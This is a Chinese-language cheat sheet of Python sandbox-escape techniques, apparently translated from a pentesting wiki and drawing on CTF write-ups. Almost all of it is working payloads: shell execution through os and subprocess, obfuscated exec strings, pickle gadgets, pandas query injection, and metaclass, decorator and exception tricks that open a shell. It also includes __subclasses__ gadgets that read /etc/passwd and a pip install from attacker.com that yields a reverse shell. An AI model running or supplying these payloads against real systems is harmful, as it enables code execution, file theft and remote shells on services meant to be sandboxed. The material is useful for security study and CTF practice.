这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。
首先,您需要知道是否可以直接使用已导入的某些库执行代码,或者是否可以导入以下这些库:
- os.system("ls")
- os.popen("ls").read()
- commands.getstatusoutput("ls")
- commands.getoutput("ls")
- commands.getstatus("file/path")
- subprocess.call("ls", shell=True)
- subprocess.Popen("ls", shell=True)
- pty.spawn("ls")
- pty.spawn("/bin/bash")
- platform.os.system("ls")
- pdb.os.system("ls")
- # 导入函数以执行命令
- importlib.import_module("os").system("ls")
- importlib.__import__("os").system("ls")
- imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
- imp.os.system("ls")
- imp.sys.modules["os"].system("ls")
- sys.modules["os"].system("ls")
- __import__("os").system("ls")
- import os
- from os import *
- # 其他有趣的函数
- open("/etc/passwd").read()
- open('/var/www/html/input', 'w').write('123')
- # 在 Python2.7 中
- execfile('/usr/lib/python2.7/os.py')
- system('ls')
-
请记住,open和read函数对于读取 Python 沙箱内的文件以及编写可执行的代码以绕过沙箱非常有用。
Python2 的input()函数允许在程序崩溃之前执行 Python 代码。
Python 尝试首先从当前目录加载库(以下命令将打印 Python 从何处加载模块):python3 -c 'import sys; print(sys.path)'
您可以在此处找到预安装包的列表:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
请注意,从 pickle 中,您可以使 Python 环境导入系统中安装的任意库。
例如,以下 pickle 在加载时将导入pip库以使用它:
- # 请注意,这里我们导入 pip 库以便正确创建 pickle
- # 然而,受害者甚至不需要安装该库来执行它
- # 该库将自动加载
- import pickle, os, base64, pip
- class P(object):
- def __reduce__(self):
- return (pip.main,(["list"],))
- print(base64.b64encode(pickle.dumps(P(), protocol=0)))
-
有关 pickle 工作原理的更多信息,请查看此链接:https://checkoway.net/musings/pickle/
由@isHaacK 分享的技巧
如果您有权访问pip或pip.main(),您可以安装任意包并通过以下调用获得反向 shell:
- pip install http://attacker.com/Rerverse.tar.gz
- pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
-
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该解压缩它,更改setup.py,并放入您的 IP 以进行反向 shell 连接:
1KB
Reverse.tar.gz
这个包称为 Reverse。但是,它经过特殊设计,以便当您退出反向 shell 时,其余的安装将失败,因此在您离开时不会在服务器上留下任何额外的 Python 包安装。
请注意,exec允许多行字符串和;,但eval不允许(检查 walrus 运算符)
如果某些字符被禁止,您可以使用十六进制/八进制/B64 表示来绕过限制:
- exec("print('RCE'); __import__('os').system('ls')") # 使用 ";"
- exec("print('RCE')\n__import__('os').system('ls')") # 使用 "\n"
- eval("__import__('os').system('ls')") # Eval 不允许 ";"
- eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) # 这样 eval 接受 ";"
- __import__('timeit').timeit("__import__('os').system('ls')",number=1)
- # 允许换行和制表符的单行代码
- eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
- exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
-
- # 八进制
- exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
- # 十六进制
- exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
- # Base64
- exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) # 仅 Python2
- exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
-
其他允许评估 Python 代码的库:
- # Pandas
- import pandas as pd
- df = pd.read_csv("currency-rates.csv")
- df.query('@__builtins__.__import__("os").system("ls")')
- df.query("@pd.io.common.os.popen('ls').read()")
- df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
- # 前面的选项有效,但其他您可能尝试的会给出错误:
- # 仅支持命名函数
- # 例如:
- df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
-
- # walrus 运算符允许在列表中生成变量
- ## 一切都将按顺序执行
- ## 来自 https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
- [a:=21,a*2]
- [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
- ## 这对于注入“eval”中的代码非常有用,因为它不支持多行或“;”
-
在本写入中,UFT - 7 用于在明显的沙箱内加载和执行任意 Python 代码:
- assert b"+AAo - ".decode("utf_7") == "\n"
- payload = """
- # -*- coding: utf_7 -*-
- def f(x):
- return x
- # +AAo - print(open("/flag.txt").read())
- """.lstrip()
-
也可以使用其他编码(例如raw_unicode_escape和unicode_escape)来绕过它。
如果您在一个不允许您进行调用的 Python 监狱中,仍然有一些方法可以执行任意函数、代码和命令。
- # 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
- @exec
- @input
- class X:
- pass
- # 前面的代码等同于:
- class X:
- pass
- X = input(X)
- X = exec(X)
- # 因此,只需在提示时发送您的 Python 代码,它将被执行
- # 另一种无需调用 input 的方法:
- @eval
- @'__import__("os").system("sh")'.format
- class _:pass
-
如果您可以声明一个类并创建该类的对象,您可以编写/覆盖不同的方法,这些方法可以在不需要直接调用它们的情况下被触发。
您可以修改某些类方法(通过覆盖现有类方法或创建新类),以使它们在被触发时执行任意代码,而无需直接调用它们。
- # 这个类有 3 种不同的方式在不直接调用任何函数的情况下触发 RCE
- class RCE:
- def __init__(self):
- self += "print('Hello from __init__ + __iadd__')"
- __iadd__ = exec # 在对象创建时触发
- def __del__(self):
- self -= "print('Hello from __del__ + __isub__')"
- __isub__ = exec # 在对象创建时触发
- __getitem__ = exec # 用 obj[<参数>]触发
- __add__ = exec # 用 obj + <参数>触发
- # 这些行直接滥用前面的类来获得 RCE
- rce = RCE() # 稍后我们将看到如何在不调用构造函数的情况下创建对象
- rce["print('Hello from __getitem__')"]
- rce + "print('Hello from __add__')"
- del rce
- # 这些行将在程序结束(退出)时获得 RCE
- sys.modules["pwnd"] = RCE()
- exit()
- # 其他要覆盖的函数
- __sub__ (k - 'import os; os.system("sh")')
- __mul__ (k * 'import os; os.system("sh")')
- __floordiv__ (k // 'import os; os.system("sh")')
- __truediv__ (k / 'import os; os.system("sh")')
- __mod__ (k % 'import os; os.system("sh")')
- __pow__ (k**'import os; os.system("sh")')
- __lt__ (k < 'import os; os.system("sh")')
- __le__ (k <= 'import os; os.system("sh")')
- __eq__ (k == 'import os; os.system("sh")')
- __ne__ (k!= 'import os; os.system("sh")')
- __ge__ (k >= 'import os; os.system("sh")')
- __gt__ (k > 'import os; os.system("sh")')
- __iadd__ (k += 'import os; os.system("sh")')
- __isub__ (k -= 'import os; os.system("sh")')
- __imul__ (k *= 'import os; os.system("sh")')
- __ifloordiv__ (k //= 'import os; os.system("sh")')
- __idiv__ (k /= 'import os; os.system("sh")')
- __itruediv__ (k /= 'import os; os.system("sh")')(请注意,这仅在`from __future__ import division`生效时起作用。)
- __imod__ (k %= 'import os; os.system("sh")')
- __ipow__ (k **= 'import os; os.system("sh")')
- __ilshift__ (k <<= 'import os; os.system("sh")')
- __irshift__ (k >>= 'import os; os.system("sh")')
- __iand__ (k = 'import os; os.system("sh")')
- __ior__ (k |= 'import os; os.system("sh")')
- __ixor__ (k ^= 'import os; os.system("sh")')
-
元类允许我们做的关键事情是通过创建一个以目标类为元类的新类,来创建一个类的实例,而无需直接调用构造函数。
- # 代码来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/ 并修复
- # 这将定义“子类”的成员
- class Metaclass(type):
- __getitem__ = exec # 因此 Sub[string]将执行 exec(string)
- # 注意:Metaclass.__class__ == type
-
- class Sub(metaclass=Metaclass): # 这就是我们使 Sub.__class__ == Metaclass 的方式
- pass # 无需特殊操作
- Sub['import os; os.system("sh")']
- ## 您也可以使用前面部分的技巧来使用此对象获得 RCE
-
当触发异常时,会创建 Exception 对象的实例,而无需您直接调用构造函数(来自@_nag0mez 的技巧):
- class RCE(Exception):
- def __init__(self):
- self += 'import os; os.system("sh")'
- __iadd__ = exec # 在对象创建时触发
- raise RCE # 生成 RCE 对象
- # RCE 与 __add__重载和 try/except + raise 生成的对象
- class Klecko(Exception):
- __add__ = exec
- try:
- raise Klecko
- except Klecko as k:
- k + 'import os; os.system("sh")' # RCE 滥用 __add__
-
- # 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
- # 如果导入了 sys,您可以 sys.excepthook 并通过触发错误来触发它
- class X:
- def __init__(self, a, b, c):
- self += "os.system('sh')"
- __iadd__ = exec
- sys.excepthook = X
- 1/0 # 触发它
- # 来自 https://github.com/google/google - ctf/blob/master/2022/sandbox - treebox/healthcheck/solution.py
- # 解释器将尝试导入特定于 apt 的模块,以潜在地
- # 报告 ubuntu 提供的模块中的错误。
- # 因此,__import__函数被我们的 RCE 覆盖
- class X():
- def __init__(self, a, b, c, d, e):
- self += "print(open('flag').read())"
- __iadd__ = eval
- __builtins__.__import__ = X
- {}[1337]
-
- __builtins__.__dict__["license"]._Printer__filenames=["flag"]
- a = __builtins__.help
- a.__class__.__enter__ = __builtins__.__dict__["license"]
- a.__class__.__exit__ = lambda self, *args: None
- with (a as b):
- pass
-
如果您可以访问__builtins__对象,则可以导入库(请注意,您也可以在此处使用上一节中显示的其他字符串表示形式):
- __builtins__.__import__("os").system("ls")
- __builtins__.__dict__['__import__']("os").system("ls")
-
当您没有__builtins__时,您将无法导入任何东西,甚至无法读取或写入文件,因为所有全局函数(如open,import,print…)都未加载。
然而,默认情况下,Python 在内存中导入了很多模块。这些模块可能看起来无害,但其中一些也在内部导入了危险的功能,可以访问这些功能以获得甚至任意代码执行。
在以下示例中,您可以观察如何滥用这些“良性”模块中的一些来访问其内部的危险功能。
- # 尝试重新加载 __builtins__
- reload(__builtins__)
- import __builtin__
- # 读取恢复 <type 'file'> 在偏移量 40
- ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
- # 写入恢复 <type 'file'> 在偏移量 40
- ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
- # 执行恢复 __import__(类 59s 是 <class 'warnings.catch_warnings'>)
- ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
- # 执行(另一种方法)
- ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
- # 执行恢复 eval 符号(类 59 是 <class 'warnings.catch_warnings'>
-